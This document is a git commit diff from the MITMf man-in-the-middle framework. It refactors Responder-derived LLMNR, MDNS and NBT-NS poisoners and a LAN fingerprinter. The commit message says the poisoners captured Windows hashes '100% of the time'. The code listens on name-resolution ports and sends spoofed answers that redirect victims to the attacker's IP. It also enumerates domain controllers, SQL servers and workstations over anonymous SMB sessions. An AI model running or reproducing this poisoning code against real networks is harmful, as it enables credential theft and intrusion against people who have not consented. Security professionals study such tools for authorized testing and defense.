Responder's MDNS/LLMNR/NBTNS poisoners are back in action (better than ever), only WPAD remains.

Tested against Windows 7 and 8, got hashes 100% of the time! \o/

The rest of the servers will be added in after WPAD is fixed.

Next step is to fix the logging... frankly i rather just log everything into the main mitmf.log folder since it's very grep'able.
Also the exact output is going to need tweaking, the lines are wayy to long
This commit is contained in:
byt3bl33d3r 2015-04-28 02:03:12 +02:00
parent 7aad9879d1
commit 08b9029a96
7 changed files with 327 additions and 296 deletions

View file

@ -1,183 +1,221 @@
##################################################################################
#Browser Listener and Lanman Finger
##################################################################################
class LANFinger(): import socket
import threading
import struct
import logging
def serve_thread_udp(host, port, handler): from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
try: from core.configwatcher import ConfigWatcher
server = ThreadingUDPServer((host, port), handler) from core.responder.fingerprinter.RAPLANMANPackets import *
server.serve_forever()
except Exception, e:
print "Error starting UDP server on port %s: %s:" % (str(port),str(e))
def start(): mitmf_logger = logging.getLogger("mitmf")
t1 = threading.Thread(name="Browser", target=serve_thread_udp, args=("0.0.0.0", 138, Browser))
class LANFingerprinter():
def start(self, options):
global args; args = options #For now a quick hack to make argparse's namespace object available to all
try:
mitmf_logger.debug("[LANFingerprinter] online")
server = ThreadingUDPServer(("0.0.0.0", 138), Browser)
t = threading.Thread(name="LANFingerprinter", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
mitmf_logger.error("[LANFingerprinter] Error starting on port 138: {}:".format(e))
class ThreadingUDPServer(ThreadingMixIn, UDPServer): class ThreadingUDPServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1 allow_reuse_address = 1
def server_bind(self): def server_bind(self):
UDPServer.server_bind(self) UDPServer.server_bind(self)
def WorkstationFingerPrint(data):
Role = {
"\x04\x00" :"Windows 95",
"\x04\x10" :"Windows 98",
"\x04\x90" :"Windows ME",
"\x05\x00" :"Windows 2000",
"\x05\x00" :"Windows XP",
"\x05\x02" :"Windows 2003",
"\x06\x00" :"Windows Vista/Server 2008",
"\x06\x01" :"Windows 7/Server 2008R2",
}
if data in Role:
return Role[data]
else:
return False
def PrintServerName(data, entries):
if entries == 0:
pass
else:
entrieslen = 26*entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ]
l =[]
for x in ServerName:
if WorkstationFingerPrint(x[16:18]):
l.append(x[:16].replace('\x00', '')+'\n [-]Os version is:%s'%(WorkstationFingerPrint(x[16:18])))
else:
l.append(x[:16].replace('\x00', ''))
return l
def ParsePacket(Payload):
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
if StatusCode == "\x00\x00":
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
ParsedNames = PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
return ParsedNames
else:
return None
def RAPThisDomain(Client,Domain):
try:
l =[]
for x in range(1):
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
if PDC is not None:
l.append('[Analyze mode LANMAN]:')
l.append('[!]Domain detected on this network:')
for x in PDC:
l.append(' -'+x)
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
if SQL is not None:
l.append('[!]SQL Server detected on Domain %s:'%(Domain))
for x in SQL:
l.append(' -'+x)
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
if WKST is not None:
l.append('[!]Workstations/Servers detected on Domain %s:'%(Domain))
for x in WKST:
l.append(' -'+x)
else:
pass
return '\n'.join(l)
except:
pass
def RapFinger(Host,Domain, Type):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((Host,445))
s.settimeout(0.3)
h = SMBHeader(cmd="\x72",mid="\x01\x00")
n = SMBNegoData()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(1024)
##Session Setup AndX Request, Anonymous.
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",mid="\x02\x00")
t = SMBSessionData()
t.calculate()
final = t
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(1024)
##Tree Connect IPC$.
if data[8:10] == "\x73\x00":
head = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00")
t = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(1024)
##Rap ServerEnum.
if data[8:10] == "\x75\x00":
head = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00")
t = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(64736)
##Rap ServerEnum, Get answer and return what we're looking for.
if data[8:10] == "\x25\x00":
s.close()
return ParsePacket(data)
except:
return None
def BecomeBackup(data,Client):
try:
DataOffset = struct.unpack('<H',data[139:141])[0]
BrowserPacket = data[82+DataOffset:]
if BrowserPacket[0] == "\x0b":
ServerName = BrowserPacket[1:]
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role = NBT_NS_Role(data[45:48])
Message = "[Analyze mode: Browser]Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)
if AnalyzeMode:
Message1=RAPThisDomain(Client,Domain)
logger3.warning(Message1)
logger3.warning(Message)
except:
pass
try:
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role1 = NBT_NS_Role(data[45:48])
Role2 = NBT_NS_Role(data[79:82])
Message = '[Analyze mode: Browser]Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s'%(Client, Name, Role1, Domain, Role2)
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
if AnalyzeMode:
Message1=RAPThisDomain(Client,Domain)
logger3.warning(Message1)
logger3.warning(Message)
except:
pass
class Browser(BaseRequestHandler): class Browser(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
request, socket = self.request request, socket = self.request
if AnalyzeMode: if args.analyze:
ParseDatagramNBTNames(request,self.client_address[0]) ParseDatagramNBTNames(request,self.client_address[0])
BecomeBackup(request,self.client_address[0]) BecomeBackup(request,self.client_address[0])
BecomeBackup(request,self.client_address[0]) BecomeBackup(request,self.client_address[0])
except Exception: except Exception:
pass pass
def NBT_NS_Role(data):
Role = {
"\x41\x41\x00":"Workstation/Redirector Service.",
"\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)",
"\x42\x4d\x00":"Domain controller service. This name is a domain controller.",
"\x42\x4e\x00":"Local Master Browser.",
"\x42\x4f\x00":"Browser Election Service.",
"\x43\x41\x00":"File Server Service.",
"\x41\x42\x00":"Browser Service.",
}
if data in Role:
return Role[data]
else:
return "Service not known."
def WorkstationFingerPrint(data):
Role = {
"\x04\x00" :"Windows 95",
"\x04\x10" :"Windows 98",
"\x04\x90" :"Windows ME",
"\x05\x00" :"Windows 2000",
"\x05\x00" :"Windows XP",
"\x05\x02" :"Windows 2003",
"\x06\x00" :"Windows Vista/Server 2008",
"\x06\x01" :"Windows 7/Server 2008R2",
}
if data in Role:
return Role[data]
else:
return False
def PrintServerName(data, entries):
if entries == 0:
pass
else:
entrieslen = 26*entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ]
l =[]
for x in ServerName:
if WorkstationFingerPrint(x[16:18]):
l.append(x[:16].replace('\x00', '')+'| OS:%s'%(WorkstationFingerPrint(x[16:18])))
else:
l.append(x[:16].replace('\x00', ''))
return l
def ParsePacket(Payload):
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
if StatusCode == "\x00\x00":
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
ParsedNames = PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
return ParsedNames
else:
return None
def RAPThisDomain(Client,Domain):
try:
l =[]
for x in range(1):
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
if PDC is not None:
l.append('[LANFingerprinter]')
l.append('Domain detected on this network:')
for x in PDC:
l.append(' -'+x)
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
if SQL is not None:
l.append('SQL Server detected on Domain {}:'.format(Domain))
for x in SQL:
l.append(' -'+x)
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
if WKST is not None:
l.append('Workstations/Servers detected on Domain {}:'.format(Domain))
for x in WKST:
l.append(' -'+x)
else:
pass
return '\n'.join(l)
except:
pass
def RapFinger(Host,Domain, Type):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((Host,445))
s.settimeout(0.3)
h = SMBHeader(cmd="\x72",mid="\x01\x00")
n = SMBNegoData()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(1024)
##Session Setup AndX Request, Anonymous.
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",mid="\x02\x00")
t = SMBSessionData()
t.calculate()
final = t
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(1024)
##Tree Connect IPC$.
if data[8:10] == "\x73\x00":
head = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00")
t = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(1024)
##Rap ServerEnum.
if data[8:10] == "\x75\x00":
head = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00")
t = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(64736)
##Rap ServerEnum, Get answer and return what we're looking for.
if data[8:10] == "\x25\x00":
s.close()
return ParsePacket(data)
except:
return None
def BecomeBackup(data, Client):
try:
DataOffset = struct.unpack('<H',data[139:141])[0]
BrowserPacket = data[82+DataOffset:]
if BrowserPacket[0] == "\x0b":
ServerName = BrowserPacket[1:]
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role = NBT_NS_Role(data[45:48])
if args.analyze:
Message1=RAPThisDomain(Client,Domain)
mitmf_logger.warning(Message1)
mitmf_logger.warning("[LANFingerprinter] Datagram Request from {} | Hostname: {} via the {} wants to become a Local Master Browser Backup on this domain: {}.".format(Client, Name,Role,Domain))
except:
pass
try:
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role1 = NBT_NS_Role(data[45:48])
Role2 = NBT_NS_Role(data[79:82])
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
if args.analyze:
Message1=RAPThisDomain(Client,Domain)
mitmf_logger.warning(Message1)
mitmf_logger.warning('[LANFingerprinter] Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
except:
pass
def ParseDatagramNBTNames(data,Client):
try:
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role1 = NBT_NS_Role(data[45:48])
Role2 = NBT_NS_Role(data[79:82])
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
if args.analyze:
Message1=RAPThisDomain(Client,Domain)
mitmf_logger.warning(Message1)
mitmf_logger.warning('[LANFingerprinter] Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
except:
pass

View file

@ -1,25 +1,11 @@
import struct import struct
from odict import OrderedDict from core.responder.odict import OrderedDict
from core.responder.packet import Packet
def longueur(payload): def longueur(payload):
length = struct.pack(">i", len(''.join(payload))) length = struct.pack(">i", len(''.join(payload)))
return length return length
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
class SMBHeader(Packet): class SMBHeader(Packet):
fields = OrderedDict([ fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"), ("proto", "\xff\x53\x4d\x42"),

View file

@ -24,11 +24,11 @@ class LLMNRPoisoner:
try: try:
mitmf_logger.debug("[LLMNRPoisoner] OURIP => {}".format(OURIP)) mitmf_logger.debug("[LLMNRPoisoner] OURIP => {}".format(OURIP))
server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR) server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR)
t = threading.Thread(name="LLMNR", target=server.serve_forever) #LLMNR t = threading.Thread(name="LLMNRPoisoner", target=server.serve_forever) #LLMNR
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
except Exception, e: except Exception, e:
mitmf_logger.error("[LLMNRPoisoner] Error starting on port {}: {}:".format(5355, e)) mitmf_logger.error("[LLMNRPoisoner] Error starting on port 5355: {}:".format(e))
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
@ -97,11 +97,11 @@ class LLMNR(BaseRequestHandler):
if args.finger: if args.finger:
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1])) mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
except Exception: except Exception:
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for {}".format(self.client_address[0], Name)) mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name))
else: else:
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for {}".format(self.client_address[0], Name)) mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name))
if DontRespondToSpecificHost(DontRespondTo): if DontRespondToSpecificHost(DontRespondTo):
if RespondToIPScope(DontRespondTo, self.client_address[0]): if RespondToIPScope(DontRespondTo, self.client_address[0]):
@ -118,15 +118,11 @@ class LLMNR(BaseRequestHandler):
buff.calculate() buff.calculate()
for x in range(1): for x in range(1):
soc.sendto(str(buff), self.client_address) soc.sendto(str(buff), self.client_address)
#mitmf_logger.info(Message) mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was : {}".format(self.client_address[0],Name))
if args.finger: if args.finger:
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
#print '[LLMNRPoisoner] OsVersion is:%s'%(Finger[0]) mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
#print '[LLMNRPoisoner] ClientVersion is :%s'%(Finger[1])
mitmf_logger.info('[LLMNRPoisoner] OsVersion is:{}'.format(Finger[0]))
mitmf_logger.info('[LLMNRPoisoner] ClientVersion is :{}'.format(Finger[1]))
except Exception: except Exception:
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0])) mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
pass pass
@ -136,14 +132,11 @@ class LLMNR(BaseRequestHandler):
buff.calculate() buff.calculate()
for x in range(1): for x in range(1):
soc.sendto(str(buff), self.client_address) soc.sendto(str(buff), self.client_address)
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was : {}".format(self.client_address[0],Name)) mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
if args.finger: if args.finger:
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
#print '[LLMNRPoisoner] OsVersion is:%s'%(Finger[0]) mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
#print '[LLMNRPoisoner] ClientVersion is :%s'%(Finger[1])
mitmf_logger.info('[LLMNRPoisoner] OsVersion is:{}'.format(Finger[0]))
mitmf_logger.info('[LLMNRPoisoner] ClientVersion is :{}'.format(Finger[1]))
except Exception: except Exception:
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0])) mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
pass pass
@ -154,14 +147,11 @@ class LLMNR(BaseRequestHandler):
buff.calculate() buff.calculate()
for x in range(1): for x in range(1):
soc.sendto(str(buff), self.client_address) soc.sendto(str(buff), self.client_address)
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was : {}".format(self.client_address[0], Name)) mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
if args.finger: if args.finger:
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
#print '[LLMNRPoisoner] OsVersion is:%s'%(Finger[0]) mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
#print '[LLMNRPoisoner] ClientVersion is :%s'%(Finger[1])
mitmf_logger.info('[LLMNRPoisoner] OsVersion is: {}'.format(Finger[0]))
mitmf_logger.info('[LLMNRPoisoner] ClientVersion is : {}'.format(Finger[1]))
except Exception: except Exception:
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0])) mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
pass pass
@ -170,12 +160,11 @@ class LLMNR(BaseRequestHandler):
buff.calculate() buff.calculate()
for x in range(1): for x in range(1):
soc.sendto(str(buff), self.client_address) soc.sendto(str(buff), self.client_address)
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was : {}".format(self.client_address[0], Name)) mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
if args.finger: if args.finger:
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info('[LLMNRPoisoner] OsVersion is: {}'.format(Finger[0])) mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
mitmf_logger.info('[LLMNRPoisoner] ClientVersion is : {}'.format(Finger[1]))
except Exception: except Exception:
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0])) mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
pass pass

View file

@ -1,22 +1,33 @@
#! /usr/bin/env python2.7 #! /usr/bin/env python2.7
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
import threading import threading
import socket
import struct import struct
import logging
from core.protocols.odict import OrderedDict from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.protocols.packet import Packet from core.configwatcher import ConfigWatcher
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
from core.responder.common import *
mitmf_logger = logging.getLogger("mitmf")
class MDNSPoisoner(): class MDNSPoisoner():
def start(): def start(self, options, ourip):
global args; args = options
global OURIP; OURIP = ourip
try: try:
mitmf_logger.debug("[MDNSPoisoner] OURIP => {}".format(OURIP))
server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS) server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS)
t = threading.Thread(name="MDNS", target=server.serve_forever) t = threading.Thread(name="MDNSPoisoner", target=server.serve_forever)
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
except Exception, e: except Exception, e:
print "Error starting MDNSPoisoner on port %s: %s:" % (str(port),str(e)) print "[MDNSPoisoner] Error starting on port 5353: {}" .format(e)
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
@ -26,9 +37,8 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
MADDR = "224.0.0.251" MADDR = "224.0.0.251"
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,inet_aton(MADDR)+inet_aton(OURIP)) Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR)+ socket.inet_aton(OURIP))
UDPServer.server_bind(self)
UDPServer.server_bind(self
class MDNSAns(Packet): class MDNSAns(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -67,32 +77,34 @@ def Poisoned_MDNS_Name(data):
class MDNS(BaseRequestHandler): class MDNS(BaseRequestHandler):
def handle(self): def handle(self):
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
RespondTo = ResponderConfig['RespondTo']
MADDR = "224.0.0.251" MADDR = "224.0.0.251"
MPORT = 5353 MPORT = 5353
data, soc = self.request data, soc = self.request
if self.client_address[0] == "127.0.0.1": if self.client_address[0] == "127.0.0.1":
pass pass
try: try:
if AnalyzeMode: if args.analyze:
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
#print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)) mitmf_logger.info('[MDNSPoisoner] {} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
responder_logger.info('[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
if RespondToSpecificHost(RespondTo): if RespondToSpecificHost(RespondTo):
if AnalyzeMode == False: if args.analyze == False:
if RespondToIPScope(RespondTo, self.client_address[0]): if RespondToIPScope(RespondTo, self.client_address[0]):
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
#print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))
responder_logger.info('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data) Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name) MDns = MDNSAns(AnswerName = Name)
MDns.calculate() MDns.calculate()
soc.sendto(str(MDns),(MADDR,MPORT)) soc.sendto(str(MDns),(MADDR,MPORT))
if AnalyzeMode == False and RespondToSpecificHost(RespondTo) == False: if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
#print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
responder_logger.info('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data) Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name) MDns = MDNSAns(AnswerName = Name)
MDns.calculate() MDns.calculate()

View file

@ -1,18 +1,34 @@
#! /usr/bin/env python2.7 #! /usr/bin/env python2.7
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
import threading import threading
import socket
import struct import struct
import logging
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.configwatcher import ConfigWatcher
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
from core.responder.odict import OrderedDict
from core.responder.packet import Packet from core.responder.packet import Packet
from core.responder.common import *
mitmf_logger = logging.getLogger("mitmf")
class NBTNSPoisoner(): class NBTNSPoisoner():
def start(): def start(self, options, ourip):
server = ThreadingUDPServer(("0.0.0.0", 137), NB)
t = threading.Thread(name="NBNS", target=server.serve_forever()) #NBNS global OURIP; OURIP = ourip
t.setDaemon(True) global args; args = options
t.start()
try:
mitmf_logger.debug("[NBTNSPoisoner] OURIP => {}".format(ourip))
server = ThreadingUDPServer(("0.0.0.0", 137), NB)
t = threading.Thread(name="NBTNSPoisoner", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
mitmf_logger.debug("[NBTNSPoisoner] Error starting on port 137: {}".format(e))
class ThreadingUDPServer(ThreadingMixIn, UDPServer): class ThreadingUDPServer(ThreadingMixIn, UDPServer):
@ -42,17 +58,17 @@ class NBT_Ans(Packet):
def calculate(self,data): def calculate(self,data):
self.fields["Tid"] = data[0:2] self.fields["Tid"] = data[0:2]
self.fields["NbtName"] = data[12:46] self.fields["NbtName"] = data[12:46]
self.fields["IP"] = inet_aton(OURIP) self.fields["IP"] = socket.inet_aton(OURIP)
def NBT_NS_Role(data): def NBT_NS_Role(data):
Role = { Role = {
"\x41\x41\x00":"Workstation/Redirector Service.", "\x41\x41\x00":"Workstation/Redirector Service",
"\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)", "\x42\x4c\x00":"Domain Master Browser",
"\x42\x4d\x00":"Domain controller service. This name is a domain controller.", "\x42\x4d\x00":"Domain controller service",
"\x42\x4e\x00":"Local Master Browser.", "\x42\x4e\x00":"Local Master Browser",
"\x42\x4f\x00":"Browser Election Service.", "\x42\x4f\x00":"Browser Election Service",
"\x43\x41\x00":"File Server Service.", "\x43\x41\x00":"File Server Service",
"\x41\x42\x00":"Browser Service.", "\x41\x42\x00":"Browser Service",
} }
if data in Role: if data in Role:
@ -62,13 +78,13 @@ def NBT_NS_Role(data):
# Define what are we answering to. # Define what are we answering to.
def Validate_NBT_NS(data,Wredirect): def Validate_NBT_NS(data,Wredirect):
if AnalyzeMode: if args.analyze:
return False return False
if NBT_NS_Role(data[43:46]) == "File Server Service.": if NBT_NS_Role(data[43:46]) == "File Server Service.":
return True return True
if NBTNSDomain == True: if args.nbtns == True:
if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.": if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.":
return True return True
@ -96,6 +112,13 @@ def Decode_Name(nbname):
class NB(BaseRequestHandler): class NB(BaseRequestHandler):
def handle(self): def handle(self):
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
DontRespondTo = ResponderConfig['DontRespondTo']
DontRespondToName = ResponderConfig['DontRespondToName']
RespondTo = ResponderConfig['RespondTo']
RespondToName = ResponderConfig['RespondToName']
data, socket = self.request data, socket = self.request
Name = Decode_Name(data[13:45]) Name = Decode_Name(data[13:45])
@ -106,59 +129,46 @@ class NB(BaseRequestHandler):
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()): if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
return None return None
if AnalyzeMode: if args.analyze:
if data[2:4] == "\x01\x10": if data[2:4] == "\x01\x10":
if Is_Finger_On(Finger_On_Off): if args.finger:
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]) mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]))
logger3.warning(Message)
except Exception: except Exception:
Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s\n"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
logger3.warning(Message)
else: else:
Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
logger3.warning(Message)
if RespondToSpecificHost(RespondTo) and AnalyzeMode == False: if RespondToSpecificHost(RespondTo) and args.analyze == False:
if RespondToIPScope(RespondTo, self.client_address[0]): if RespondToIPScope(RespondTo, self.client_address[0]):
if data[2:4] == "\x01\x10": if data[2:4] == "\x01\x10":
